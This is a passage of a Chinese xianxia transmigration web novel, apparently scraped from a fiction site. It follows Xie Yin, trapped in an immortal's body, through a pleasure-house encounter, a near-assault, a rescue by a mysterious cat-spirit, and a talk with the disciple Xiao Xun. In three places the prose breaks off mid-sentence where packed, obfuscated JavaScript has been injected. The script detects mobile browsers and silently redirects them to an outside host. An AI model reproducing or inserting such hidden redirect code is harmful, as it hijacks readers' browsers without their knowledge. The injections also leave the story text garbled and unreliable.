谢因如此说着,眉眼间都勾起点淡淡阴戾:“我会先去确认渡云的状态,提前准备好让他根本无力反抗的符咒、丹药、或者法宝,再‘假传’渡云的意见,告诉他们取消流光祭收徒的计划,然后慢慢把他变成禁.脔,让他再也离不开我。” …… 谢果不禁打了个寒战。 哥啊,你是这种斯德哥尔摩路线的画风吗? “但显然,他没有这么做,我姑且认为他又蠢又坏吧,”谢因看了谢果一眼,不晓得她在害怕个什么,一偏头,“我把萧循交给他养,总不能因为我特别想给自己找点麻烦,唔……” 自己一篇破文儿被谢因拿手术刀解剖一样逐条分析,谢果只觉得杀鸡焉用牛刀,默默举手发言:“哥,有没有一种可能,就是这种文根本不需要逻辑,只需要一个男的和另一个男的猛猛打.炮……” 一群被下半身夺舍的形形色色的美人聚在一起你睡我我睡你就足够有看点了啊!谢果抬头悄咪咪看了眼“渡云真人”清冷疲惫蕴着些微破碎感的眉眼,赏心悦目,可惜了壳子里的直男魂儿。 “不可能,”谢因顶着一副绝好的皮囊,尽干些ooc的大事,“因为你的‘毫无逻辑’,这个世界濒临崩塌,系统既然让我来debug,说明它们仍然是遵循某种规律运转的,只是可能,效率太低,结构单一。” “不过,问题还不算太大,姑且可以放在一边,”谢因终于准备放过谢果,“玉衡一般会出现在什么地方?” “淮宜楼!”谢果突然激动地跳起来“就是仙界的花楼!渡云炉鼎体质曝光后,为仙界众人所不齿,要就地将他关入罪仙牢中,但兰棹辞存了私心从中作梗,把他放了出去。渡云此时凡胎□□、走投无路之际,躲进了玉衡等仙界太子爷们纵情作乐的淮宜楼……那里真是,嘿嘿,又禁欲,又暴露……” 谢果对这个地方记忆极为深刻,因为这里的温泉XO写得她相当热血沸腾! 谢因已经能够坦然接受谢果嘴里吐出一些“胡言乱语”,点点头,示意谢果老实待在他房间里写“洗白萧循的三十六计”策划案,自己则起身,从袖里摸出一张托云咒:“主线出现了问题,坐以待毙不行,不知道这个淮宜楼是什么情况。” 小姑娘趁他哥研究符咒,斗胆提问:“你刚才cos玉衡的时候,想强取豪夺的对象是谁?” 谢因愣了一秒,不知为何脑子里第一时间出现的,是一张他在公司楼下停小黄车时,偶然从眼前擦过的,迈巴赫车窗下的侧脸。 如果能把那个人关起来,每天用小鞭子抽着一笔一笔给自己打钱……不敢想象该有多快乐。 谢因把脑袋里乱七八糟的想法甩走,干巴巴道:“是财神爷。” 谢果麻了,简直要给他跪下。 …… 要去淮宜楼很容易,因为这个仙界是谢果为了飙车而存在的概念,并没有那么多爱惜羽毛的苦修仙君,更多的是披着仙君壳子的三六九等,既然是三六九等,就无法免俗的有七情六欲,这种寻欢作乐的地方名气都不小,略一打听就知道。 更何况,流光祭的比试被兰棹辞叫停,但六界观礼的人不可能不招待,闲得没事干的大佬们没处打发时间,都寻欢作乐去了,一时间,整间淮宜楼热闹非凡。 谢因从兰棹辞那里借走一件凡界的常服,把自己那身“白玉兰一样忧愁”却完全不挡 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“看不惯?”谢因扫了一眼这帮“玉体横陈”的仙君仙娥们,“确实有些有碍观瞻,你还挺纯情?” 黑猫的脸很臭:“信不信我丢下你三分钟你就会被他们吃干抹净?” “不至于吧,”谢因倒是对仙界的节操保留一点期待,“你到底是妖界还是魔界的猫,你们那儿的民风那么彪悍?” 不知为什么,谢因居然还能从黑猫乌漆吗黑的脸上看出些许不适,沉默几秒,像是终于忍不住,黑猫从谢因肩头一跃而下,落荒而逃似的钻进花丛里去了。 谢因:……真丢下我啊。 行,这猫多半是六界不知道哪家的公子哥,随他玩儿吧。 “这位仙君,”就在此时,廊阶上款款飘下来一位仙娥,薄纱披肩,绣扇遮面,声音极其婉转动听,“生面孔呢,是来流光祭观礼的,还是来此得道成仙的?” 真是很符合秦楼的刻板印象。 谢因看着小猫消失的方向,倨傲地微抬下巴:“我的猫跑进贵地寻不见了,那猫性情乖张,灵智已开,很有些本事,若是冲撞了客人,也说不清楚,仙子可容我进去寻他一寻?” 这便不是来消遣的了,这仙娥像是应付惯了这些人,此时也不恼,也不放行,只说:“淮宜楼有淮宜楼的规矩,找人找猫都可以,只一样,要付钱。” 谢因扫了一眼自己这浑身珠翠琳琅,才想起自己这身是借的,半个子儿没有!思来想去,预备把腰上的玉佩拿下来抵押,仙娥却笑着摇摇头:“淮宜楼的规矩,只收灵珠。” ……难搞。 头一次干这么基层的工作,实在没对敌我关系琢磨透彻。谢因正思忖自己这张脸够不够卖两个灵珠时,回廊下突然传来一个多情又婉转的声音—— “师兄也来讨酒喝?贵客啊……要不要同师弟共饮?区区酒钱,一并算我的便是。” 只见莺莺燕燕的竹帘外,转出一个喝得七荤八素的苍青色身影,靠在廊柱下,抬手捏着白玉壶口又灌一口酒,眼睛却像两弯春色,拐着弯儿的探了过来。 那仙娥乍一听这声音,对谢因的目光里多了几分难以置信,“玉衡真人的师兄,难不成……” 谢因抬了抬眼皮,那人生得真是极漂亮,一张隽秀眉目盛满甜得能腻死人的春情,漾着人畜无害的笑意。而那一身瘦骨在晏清司“古道清风”的校袍里来回晃荡,像个品相不错的竹竿。 他就是玉衡,晏清司的烂泥,谢果定制版“风流攻”? 见谢因久久不语,那人缓缓贴了过来,面上卸下一点轻蔑的自嘲笑容,凑到谢因身侧时,抬手想抚他脸颊:“师兄别装了,你这样清风霁月一个人,想来也不愿踏足这烟花柳地半步……” 谢因趁此时机越过那仙娥:“可以。” 那人一愣,想揽谢因的手悬在半空,眼睛都被“不可思议”撑得老大一双。 “不爱喝酒,可口可乐有吗? 15.猫听不得(上) 尽管不知道可口可乐是什么不在五行之中的玩意儿,但想来又是师兄用来嘲讽自己的晦涩词句,玉衡摇摇晃晃地追上谢因的步子,不知他这玉兰一样纯白无瑕的师兄“光临宝地”,究竟卖的什么药。 “师兄瞧不上我们这些人可以直言,也不必为难淮宜楼。” 想喝可乐是真,出言试探也是真,谢因想知道这荒唐世界还能出现多荒唐的设定。但此时谢因的目标是玉衡,于是只是点点头:“好的,一杯冰水,谢谢。” 那仙娥目瞪口呆地上下扫了谢因两眼,似乎是没见过抠搜成这样的仙门长老,连媚眼儿都欠奉了,转身就走。 长得再好有什么用,还不是个穷b剑修。 原本玉衡正同淮宜楼的几位常客包下一帘小台喝酒行令,众人一见谢因这样的“绝色”难掩兴奋,却没想到一向没正形的玉衡盯着他们,满脸不爽,像是在宣誓什么主权,碍于玉衡在扶摇的权势地位不敢发作,一时作鸟兽散。 清雅小台只剩两个活物,流觞曲水自他二人坐塌边缓缓推过,一杯寒碜的冰水好端端落到谢因眼前。 ……还挺智能。谢因不动声色地润了润喉,刚想开口说什么,一阵熟悉的热意又自其小腹攀援上来。 糟了。 兰棹辞被他的猫振飞出去后,他浑身的热意似乎也被那场梦带走了,先前和那么多人在观剑台、晏清司打了照面都没有发作,他还以为那个劳什子炉鼎魅魔体质歇逼不烧了。 为什么如今又…… 难道是因为,那只猫没在自己身边? 谢因有些坐立不安地东张西望了一番,试图能找到猫的影子。 “怎么,师兄上我的地界来,还约了别人?” 玉衡的视线不间断地贴在谢因身上,他刚吃过一轮酒,已经有些醉了,如今他这位假正经的好师兄巴巴送上门来,还破天荒地跟他坐在了同一席面上,叫他的脑子都飘起来了,他勾起嘴角,贴近谢因一些:“那我可是真的会吃醋……把他给杀了的。” 谢因却并未回他的荒唐话——他落座前分明存着试探之心,杯中的冰水冒着冷烟,他额上却细细浮起一层薄汗。 那双刚刚还冷淡疏离的眼睛被他递送的春情所染,一抹绯红从脖颈延上耳梢,衬着玉兰一样的肤色更剔透,好像随意揉捏一下,就能留下浅浅的粉痕。 玉衡微微眯眼,捕捉到谢因究竟是怎么了的一时间,他方才饮下的琼浆一瞬间在脏器里蒸发殆尽,取而代之地是无止尽的渴。 “师兄啊。” 他话音未落,谢因却突然身形一晃,险些要栽下来,玉衡一急,将谢因手中的杯子夺走,顺势揽住了他的腰,争如一捧薄雪云端落,那截窄腰却像过了电一样颤抖不止,隔着薄薄衣料,玉衡能感受到谢因的体温正在极速爬升。 在这样的温柔窟里泡大的玉衡却在一瞬愣了神,怀中人滚烫非常,他却不敢造次,只是贴近谢因,暧昧道:“原来师兄在水月洞天,修的是这等,夺人心魄的功法。” 功法你奶奶个大头鬼啊! 谢因欲哭无泪,不好,实在不好。这炉子一旦烧起来,他竭力压抑尚不能敌,如果有人刻意撩拨,以他如今的狗屎体质,根本无法反抗…… 玉衡的长袍微敞,里面似乎露出了一个苍青色的荷包…… 这荷包看起来倒是不像他的。 一个念头在他脑海中一闪而过,而此时玉衡的手已经握上他的腰,谢因几乎是下意识地想要去迎合他的手掌的动作,他借来的华服如今有如刑具,越是束缚,越是烧得厉害。 大意了,早知道应该让兰棹辞直接把玉衡这赔钱玩意绑回晏清司拷打! 谢因浑身绵软无力,试图挣扎,却被玉衡轻松禁锢,三两下之间,他已被牢牢控制在身下,谢因有些慌了神,唯独还剩一只手有动作的余地,摸索半天,终于在矮桌上摸到那杯冰水。 “哗!” 淮宜楼确实是扶摇秦楼扛把子,服务水平相当不错,这杯冰水冰得货真价实,此时全须全尾被泼在玉衡真人脸上,寒气凝在他的眼角眉梢。 可玉衡真人根本不为所动。 不但不为所动,那人用手背轻擦了擦额角,似在擦水,水落在指尖,舔了一口,更像在回味,一滴冰水顺着他的发梢滴落,恰好落进谢因瞳孔,让他不自觉地抖了一下。 “师兄这样奖励我,”玉衡的笑脸在冰水淋过一轮后,显得愈发苍白病态,他伸手将袖中一方薄本摸出来丢到桌上,“还险些替我毁了这账本,这样疼我,那我可好好品味品味。” 说着,一手便要将谢因的外袍撕下来! 就在此时,门外突然响起了两声轻扣。 薄如蝉翼的屏风外,印出一个仙娥的影子,声音一如平日细软,却不知为何,沾了些惶恐:“玉衡真人,这间水榭……有人要包下。” 玉衡脸色一瞬间变得乌青。 他并未从谢因身上起身,只是脸上声音里,都染上巨大的不悦:“淮宜楼水榭一百八十座,非得要这座,找死?。” 谢因真的好奇,这家伙到底哪里和“仙”这个字有一毛钱关系? 但从某种程度来说,萧循真的很像他带大的徒弟。 门外仙娥嗫嚅了好一会儿,硬着头皮道:“真人恕罪,实在是……六界的大贵客,淮宜楼得罪 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仙娥不敢说话了,而谢因见眼前的玉衡脸色已换了几次,笑容愈发阴鸷,显然也明白了门外人根本就是冲谢因而来,触自己眉头的。 玉衡终于从谢因身上起身,耐心告罄:“这淮宜楼,还是第一次有人敢坏我的好事。” 他恼了,掌心一道水环簇然暴动,生出九条水锁,直直冲门外人心口而去! 下一秒,一阵血红色雾气将整间水榭包围起来,九条水锁连屏风都未碰到,便被中途扭转,反冲玉衡本人去!一来一回之间,小小的水竹亭炸了个青天白日满地坑。 谢因可算“逃出生天”,从被炸成两截的水榭迈回岸上,只是一肚子燥热情欲还未发散,堆在小腹灼热难耐,他尽力让大脑清醒,从袖中摸出一张托云符,却努力数次,仍无法写清符咒。 淮宜楼一向是谢绝私斗的,可玉衡丢了这么大的人,哪里肯与谢因善罢甘休,也不顾是不是坏了淮宜楼的规矩,以后还能不能继续找他的乐子,眼看谢因似乎想跑,灵震八脉,凭空御起半亩荷塘里的培水凝成巨龙—— “想走?没那么容易!” 那水龙直冲谢因而来,千钧一发之时,一道红色焰气将谢因稳稳托住,拽回身后,从地上腾升起的一道屏障将谢因死死护住,同时护住他的,还有高大男人身上淡淡的香味,赤红色的袍子上,一挂雪白的骷髅指节被当作装饰品,随着动作落下,泠泠作响。 男人微微抬手,玉衡的浑身解数被他轻轻一碰就碎了满地,冰棱犹如针尖,暴雨梨花般炸了半圈。 “没事吧。”他问谢因。 16.猫听不得(下) 那具宽大的背影挡在谢因面前,纵使谢因此时浑身高热,迷迷糊糊,脑子却是清楚的——这太眼熟了。 声音……招式……说话的腔调,多情的嗓音与看人如看狗的气势,都与自己刚穿进这个世界时,在幽冥鬼里遇见的那个长得像温叙的人一模一样! 除非这个世界有什么克隆法则或是那位“老熟人”有个不为人知的胞弟,不然的话——那个人和黑猫……就是同一个人?! 那么一巴掌拍晕兰棹辞的,在擂台上帮了自己的,甚至借调息亲了自己的……都是他? 这是八年前的他,黑猫是他的本体?难道他本是渡云的钦慕者,八年后才会追到幽冥鬼里要人?还是他也被系统带到了这里,落到了一只猫身上? 他来不及想更多,谢因抄手将桌上的东西揣进怀里,红色雾团环伺谢因二人直上青云,那个温和的声音冲玉衡冷笑一声:“虚成这样还酗酒,要不要找篁岐司的人来治治?” 低沉又戏谑,却语气柔和,像是真的很关心玉衡这具虚得不行的身子骨。 他显然没有真的想听见玉衡回答,片刻间,谢因便被带着腾空而起,远离了淮宜楼,他吃力地张开眼,仍旧看不分明救自己那人的脸。 隔着云山雾罩,谢因试图出言试探:“在幽冥鬼里给我的那件赤红色袍子上的香味,原来是猫薄荷……” 那人“嗯”了一声,意外的并未卖关子,笑了笑:“那真人可把我的外袍放好了?” 谢因登时睁眼:“真的是你?你……你也被系统带回了八年前?!” “系统?”对方咂摸了一下这两个字,“没有这种东西,真人被鬼刀砍中,我想来救,结果不知被什么法器吸了进去,醒来便在一只猫身上,仅此而已。” 谢因有些吃力地从软绵绵的云朵上爬起来:“为什么帮我。” 对方支着脑袋:“哪一次?” “水月洞天兰棹辞那次。” “刚被传来这里,不知身上的灵力从何而来,想试试,不小心误伤了兰掌司,非我本意。” “流光祭擂台上那次。” “发觉这只猫身上的灵力能与人共享,觉得很稀奇,恰好真人当时需要,机会难得。” 谢因没问,但那人接着说,“方才宜淮楼,是这猫似乎闻到酒味便会化人形,我被传到这里后头一次化人形,便看看这具身体趁不趁手。” “头一次?”谢因打断他,“先前在水月洞天你分明化形过一次,还借调息之名胡说八道……嘶,那次呢……” 对方这次不回答了,只是歪着脑袋,分明看不清脸,却能听到语气里明显的笑意:“是吗?哪次?真人说具体些。” ……一听就是故意的。 只是谢因知道他显然有所保留,不欲回答他的戏弄:“你到底是什么人,方才仙娥叫你‘尊上’。” “六界之中小族群诸多,有千把个尊上都是很正常的事,”那人老老实实答了,“估摸这猫是什么妖界少主之类的身份,恰好来参加流光祭,我便落到它身上了。” 他话音未落,二人坐的小云船恰好飞进了一片电闪雷鸣的灰色雾霭,随着暴风袭来,小云船变得摇摇欲坠,眼前顿时一片模糊,方才只是看不清对方的脸,这下是连二人的身影都瞧不见了。 只听到谢因冷冷的声音:“我问的是‘你’到底是什么人。” 对方那张看起来很健谈的嘴沉默了。 一道巨大的闪电劈下,谢因被突如其来的白光炫了眼,恍惚间,却发现小云船上早已没了对方身影。 欲擒故纵啊,像是这种情场得意的小妖神喜欢玩的把戏。 可惜谢因不吃这套,谢组长嘴角扯起一个像素点的微笑:“既然阁下不想说,我不想和秘密太多的人坐在一条船上,太危险了。” 说着,谢因这具凡胎肉骨的身子微微一侧,整个人竟像一片没有分量的云一般,直直从船上跳了下去! 整个动作一气呵成,全然不给人反应的时间,颇有点大无畏的鱼死网破精神。 三秒后,原本在小船上玩消失的某一抹幽红色影子带着一丝无奈的叹息,稳稳拖住了谢因的身体,轻轻一带,将谢因与他那一身素白的绞纱一同捞回了船上,恰逢小云船钻出层层雾霭,谢因带着得逞笑容的一张脸,如一捧盈盈月光。 幽红色的影子慌了一瞬,露了原型,没了猫耳,缺了几分可爱,但仍是那张在幽冥鬼里见过的,好看又多情的——与温叙九九成相似的脸:“真人算计我。” “是,”谢因倒是十分真诚的模样,“幽冥鬼里你说过,我身上有你要的东西,你不会让我死的。” “自然不会让你死的,”那人望向谢因狐狸般的眼神,不知想到了什么,笑了,“我舍不得。” 谢因:“……我如今修为全失,法宝碎成好几瓣,身上到底还有什么值得阁下觊觎的东西。” 那人支着脑袋,十分认真地想了想,而后伸出一个指头,煞有介事地左右晃了晃::“说的太明白,就很难有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865861|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下次见面了。所以……” 说完,“砰”地一声,又消失地无影无踪。 天外,幽幽传来一阵轻笑:“下次见面告诉你。” …… 而谢因不知是被他施了什么法,脑子突然一沉,伴着这句话睡了过去。 仿佛穿越这几天的睡眠,全靠死去活来和这只猫。 比起兰棹辞那速度180迈的移形换影,猫薄荷味的斗篷腾云驾雾,更像是小学生郊游,摇摇晃晃地向青崖居而去,实在很适合小憩。 他又做了一个梦。梦里挑嘴的小猫嫌弃他拌的家常猫饭,倨傲地用尾巴尖点点米其林三星级餐厅页面上的烟熏三文鱼,大有你不买给我就浅浅生个两千块钱的小病绝食给你看的意思。 而苦逼社畜谢因兜里只有五十,为了炭烤三文鱼穿透视西装色诱餐厅主厨,让他打折销售给自己。充满锅气的餐厅后厨烟雾缭绕,白色高帽的主厨面无表情地转过身,露出一张温叙的脸。 “确实没试过在这里,可以试试。” 不对,那双眼睛怎么变红了? 等一下,停一下!! …… 谢因一脑门官司地从床上翻了下来。 谢果被他哥吓了一跳,打了个又长又倦的哈欠:“我说哥,你下午是睡死了,十级台风都吹不醒,我可一直写你那方案写到三更,能不能别一惊一乍的稳重点让你如花似玉的妹妹睡个美容觉?” 谢因在淮宜楼发作的燥热全然褪去了,神清气爽,但腰椎酸痛不已,不知道是不是睡觉落了枕,他环顾四周,没看见黑猫。 “我是怎么回来的?” 谢果睡眼惺忪,脑子也不太清醒:“不知道啊,骑云回来的吧,是兰棹辞的符咒吗?挺有童趣的,哦,最后是小黑把你拎下来的,还帮你盖了被子。” 小黑? 谢果努努嘴:“你都不给你的灵兽起个名字,我就擅自叫小黑咯,反正很黑嘛。” 谢因摇了摇头,他终于确定了,自己没做梦,没被那什劳子炉鼎体质整出精神失常,他的一切体感都是真的。 某些人装猫,装妖,装得一副故弄玄虚的样子,也是真的。 谢因冷笑一声:“我猫呢?” “不知道啊,回来以后就跑出去玩了,”谢果想了想,“今天玩的时间挺久啊,都几个时辰了还没回来。” “那等他回来再算账,”谢因望向门外的一挂风铃,又问谢果,“你认识温叙吗?” “谁?” 17.不可方思(上) 当晚黑猫没有回来,谢因盲猜最近恐怕都不会回来了。 谢果躺在屋内一块云朵上,充当懒人沙发,摇晃着脑袋看着谢因:“温叙?没听说过这个名字,不过还蛮好听的,下次有机会的话我能用……啊错了错了错了,再也不瞎写了。” 谢果从来没去过谢因公司,更别提对她哥的领导有什么了解。 “怎么哥,这是你crush?”谢果的表情八卦起来,“你早说啊,我接梦女文的,价格公道童叟无欺!” 呵呵,这根本就是屡教不改。 谢因头都没抬,精准地把一把折扇丢到她头上:“那你的原作设定里,渡云真人身边也没有这样一只黑猫?” 谢果摇头:“没有,渡云是究极洁癖+猫毛过敏,而且我要写肯定也写凤凰神龙这种逼格高点的灵宠吧,黑猫听起来有50%奶牛猫血统,会很颠吧。” ……谢因换了种说法:“那你有没有设定过,喜欢穿一身黑红,长得很……嗯,能碾压堕魔之后的萧循这种人设。” 谢果眨眨眼,头摇成拨浪鼓:“那肯定没有啊,萧循作为男主怎么可能被男三四五六碾压,萧循身上的魔种生根发芽之后,做的第一件事就是挑战六界所有觊觎过他师尊的大佬,把整个六界闹得天翻地覆,后来,萧循因想把渡云……嗯,才渐渐把大荒整个收服的,至于那些被打败的小卡拉米,我也都没往下写他们的结局。” 因为某些原因,删文停更了。 谢因听得直头痛,谢果不会认识温叙,也没道理把温叙编排进这种小说里面来,那么难道那个长得像温叙的人,只是传说中的攻三四五六中的一个炮灰?谢果没有写炮灰的结局,但炮灰的故事线并不会因为作者停更就停滞,所以此炮灰多年来卧薪尝胆,终于在八年后闯进幽冥鬼里对萧循宣战? 如果是这样,似乎一切是说的通……个屁啊! 谢因一个头两个大,黑猫、温叙、比萧循更强的人物,这三者在原作里就是不存在的,不论怎么掰,都没法把这段剧情合理化——虽然这本小说本来就充满了1000%的不合理没错啦,但这么错综复杂的人设和剧情,按照他对谢果的了解,是根本设计不出来的。 想不明白逻辑关系,谢因不准备为难自己,于是决定暂时搁置。就在此时,门外有人渐渐靠近的声音,谢因余光扫到一个瘦条条的身影,是萧循,少年变声期有些沙哑的声音随之缓缓响起: “……仙尊,我可以进来吗?” 谢果扑腾一下坐起来,压低声音:“谁啊?” 谢因将视线放回屋内,一边说,一边从怀里摸出些什么:“你不想知道我去淮宜楼干了什么吗?” 一只荷包赫然躺在谢因手上,苍青色的荷包用了跟晏清司校袍同样的缎料,外皮上没有花里胡哨的绣活儿,内里还贴了一层不止什么质地的灰色料子,缝得扎扎实实,相当耐造。 谢果一眼就认出了:“诶?这是萧循的荷包。” “果真是他的?”谢因垂眸,冷笑了一声,昨日,在淮宜楼被玉衡真人压在身下时,他第一眼就发现对方怀里揣着这只荷包——玉衡浑身的衣裳都是染着酒香的云锦软纱,一看就贵得很,阳光下面波光粼粼,唯独这只荷包极为质朴,和他周身浪荡的花蝴蝶气质完全不符。 谢因虽然身体不太受控制,但脑子清楚地很,借玉衡色利熏心浇他那一头冰水时,偷偷从他怀里一勾,将这只一看就不属于他的荷包偷了过来。 谢果就着荷包解释:“这可是重要道具……书里萧循练刀不慎丢了荷包,是男主捡到收了起来,原本想还给他,谁知浊灵入侵、灵脉尽断之事让他身败名裂,萧循提刀杀上云顶之巅,发现男主已经流落淮宜楼……” 刚从淮宜楼“流落”回来的谢因白了她一眼,谢果赶紧变成哑巴。 又要解释剧情又要照顾她哥脆弱的小心灵,谢果真想辞职不干了。 “这荷包为什么会在玉衡手里?” 谢因并不急着回答门外的萧循,少年人也就这样乖乖在门口等着,谢长老继续从怀中拿出一页皱巴巴的纸,压低声音:“你再看看这是什么。” 谢果瞪大了眼:“淮宜楼的账本?!嘶……是玉衡那页,怎么一日不落全是赊账啊。” 谢因也想知道,淮宜楼到底怎么支持营收的?都这了还没把玉衡这老小子扔出去?约莫是因为谢果给玉衡的设定就是“花天酒地”,因此不管他到底是不是穷困潦倒,这恶霸行径淮宜楼也只能咽回肚子里。 “是啊,”谢因想起自己当时被九条水龙追着跑时竟然还能记得摸走桌上玉衡甩出来的账本,觉得自己真他爹的是“战地”记者,没准儿去学妙手空空更有天分,“你也看到了‘一日不落’,唯独结界被破坏那天,你明明说你看到了醉得不省人事的玉衡,账单上却没有消费。” “怎么可能,”谢果这个原作者满脸震惊的表情,“我百分百确定玉衡那天没有作案时间,我盯着呢!那他喝的酒……” “这笔酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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半新不旧的晏清司校袍,腰间的玉牌看起来倒是一直被精心保养,油润细腻,在长明灯温柔地投射下显得宝光溢彩。可显然这件衣服并不合身,十六岁的少年已经到了抽条长个儿的年纪,这件衣服肥的地方肥,短的地方短,一点儿都不肯互相迁就,被这一脸肃容的小孩儿挂在身上,颇有点走错了片场的滑稽感。 瘦归瘦,掩不住的少年清润眉目中的一抹悸动。 他先是有些局促地看着谢因,从晏清司里排不上号的小弟子,还在对渡云真人是否已经把自己忘到九霄云外而辗转反侧,如今却能在他的院子里随意走动,甚至还直接进入了他的书房,这几乎“一步登天”的感觉,反而令他很是局促不安,生怕行差错踏、引得渡云真人厌烦。 而后还是没忍住,扫向了趴在地上十分倒霉的谢果,虽然眼神清澈,却多了一分不易察觉的眉心微蹙:“这位师姐是……” 18.不可方思(下) 谢果觉得自己现在真的很像他们play的一环,绝望地把头迈进校袍里,艰难地挪到角落里:“我来打扫卫生的,不用管我,不用管我哈!” 谢因假装没关注到萧循弯弯绕的小心思,开门见山道:“兰掌司那边处理地如何?” 萧循适才收回对谢果审视的目光,很有条理地汇报道:“回禀仙尊,据晏清司调查,这些被浊灵附身的大多数是新入门三到五年的弟子,结丹时日尚短,而流光祭又是很难得的表现时机,为了进境,被浊灵蛊惑。” “这些浊灵起初在这些弟子身上表现并不明显,但修炼时一旦有任何道心不稳的风吹草动,这些催生欲念的声音就无孔不入,大多数是因为想要提高修为的执念……经由十二司师兄师姐们合力结阵清洗,浊灵的迹象已经消失了。” “另外,篁岐司经过排列组合,试出了几种法器搜寻浊灵的新思路,目前在整个扶摇四处巡逻,没有异动……只是,兰掌司说,幕后之人如此大费周折打开结界放进浊灵,应当,会有更深的谋划,还是不能松懈。” “兰掌司还连夜推出了一些新政,奖罚分明,十二司……我从未见过这么团结一致的时候。仙尊,浊灵入侵的损失已经降到最低了,掌司说这里面一大半是您的功劳。” 兰棹辞做事果然又快又狠,谢因很满意,险些忘记要为这些点灯熬油加班的倒霉弟子们默哀。 也不知道晏清司的加班待遇如何,不过就谢果那个没上过班的德行,恐怕做不到什么共情。 萧循见事情已经汇报完毕,眼睛又不由自主地扫向谢果,险些要给小姑娘的脸盯出个洞来,谢果只想在一个安全的角落静静观察这个人,谁知道怎么招他惹他了,平白无妄之灾啊! 可萧循在想的其实是另一件事:这个人眉眼间与师尊有些相似,他们是什么关系? 这小孩儿脑子里的晚间剧场从小情人到私生子打了个转,却冷不丁听到谢因的声音:“那么你呢?” 萧循一愣:“我,我吗?” “我记得,你是儿时被渡,咳,我捡回扶摇的,那时我刚刚云游归来,将你带回来之后,就在水月洞天闭关,这些年对你很少管教。” 谢因的睫毛向目下扫出一片深黛色的影,他的瞳色被长明灯熏成一碗流光的琥珀,漫不经心地从下向他飞掠的一瞬,群鸟振翅、狠狠撞向他心头。 “浊灵既然专爱找年纪小、道心不稳的小弟子附体,它们有来找过你吗?” 谢果不禁睁大了眼睛,大哥有你这么直球套话的吗?你当是HR的入职面试,考验心理素质来的? 这人就算见过也只能说没有啊! 但显然萧循的心理素质比他的废物点心作者强一些,没有因为谢因的突然发难而感到愤怒,或许只是有一点难堪,他垂下眼睛,没有直视那双仿佛能看穿他的眼睛:“如果没有仙尊解救,我当时应该饿死,冻死,或是死在山下飓风狼妖的利爪下了。” 说着,他低下头,声音也沉了下去:“弟子纵是难雕朽木,也知道知恩图报的道理,万不敢心怀怨恨。心无怨念,不敢有恨,自然清净,没有见过蛊惑我心的浊灵。” 浊灵又怎么能蛊惑我?能蛊惑我的只有…… 谢因没有表情,只是将手里那张账单揉吧起来,又展开,反复数次。 那手指很漂亮,却也很细瘦,没有那么有力,只有两惯常与剑柄摩擦的两处有些薄茧。但萧循就是感觉被他攥住了什么,甚至有些窒息。 不行,他要主动说些什么才行。 萧循的眼神有些颤动,不知为何,语气变得急切起来:“仙尊把我交给玉衡真人,但玉衡真人平日事务繁忙,相处时间……也比较短,但这不是借口,弟子天资不足,不得要领,擂台上又……这才用了些狠辣招数、伤了同门,让晏清司跟着丢脸,我辩无可辩,还望仙尊降罚!” 他垂首跪了下来,随着这个动作,耳边鬓发十分恰到好处地落下去一绺,谢因这才注意到萧循而后有一条狰狞的伤疤,像一条炸了刺儿的龙,从锁骨没入他的领下。 这样的疤痕,与那日在淮宜楼,玉衡险些招呼在他身上的水龙招式极为相似! 谢因眉头一皱,他忽然觉得那道伤疤十分地滚烫,像八年后的一道绳索,又像落在他心上的一道鞭痕。 鬼使神差的,回过神来的时候,谢因的手已经落在了萧循颈间。 “仙……仙尊?”萧循的伤口被谢因轻轻一抚,顿时浑身激灵了一下,一张极为无害的脸上几分震惊,几分惶恐,但微红的耳廓又难掩暗爽。 谢因只觉得一股热意从他覆在萧循身体的手掌上飞速地攀升,那截雪缎似的腕子又可疑的浮现出绯红色,顿时怀疑那倒霉的炉鼎体质又要作怪,毕竟那说不出来的bug小猫也不在身边,真烧起来了谢果怎么办? 预备赶紧把手收回去。 “师尊。”谁知萧循先一步判断了他的动作,竟眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884933|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疾手快地抓住谢因的手腕,一面眨了眨一双充满水汽的眼睛人畜无害地望向谢因,少年人手腕上的力气却一点也不小,让人无法轻易挣脱。 “师尊的手,好凉。” 他似乎是刻意把“仙尊”说作“师尊”,万人敬仰人人都能放在口中的的渡云仙尊,此时是他萧循一人的师尊。 观剑台时,谢因确实承认了他要收萧循为弟子,但眼下萧循不敢尽信,只敢这么小心翼翼地试探。 谢因试图抽了抽手腕,谁知这废物渡云的身体真是要灵力没灵力要力气没力气,少年人明明看起来毫不使力,却让他完全挣脱不开,谢因叹气,干巴巴问:“你这伤怎么回事。” 萧循似乎这才意识到自己颈间的伤口骇人,立刻放开谢因的手,有些慌乱地理了理耳鬓碎发:“弟子仪表不堪,惊扰了仙尊。” 演技好烂。 谢因默默吐槽,又或者说是烂到刻意,烂到让人无法忽略那么烂的演技,烂得恰到好处——谢因要是没注意到这道伤疤,他可能还会演得更拙劣一点。 于是谢因也就如着这小子的意,顺水推舟地问了:“有人欺负你?这样的伤疤,不是普通弟子能打出来的,有仙长罚你吗?” 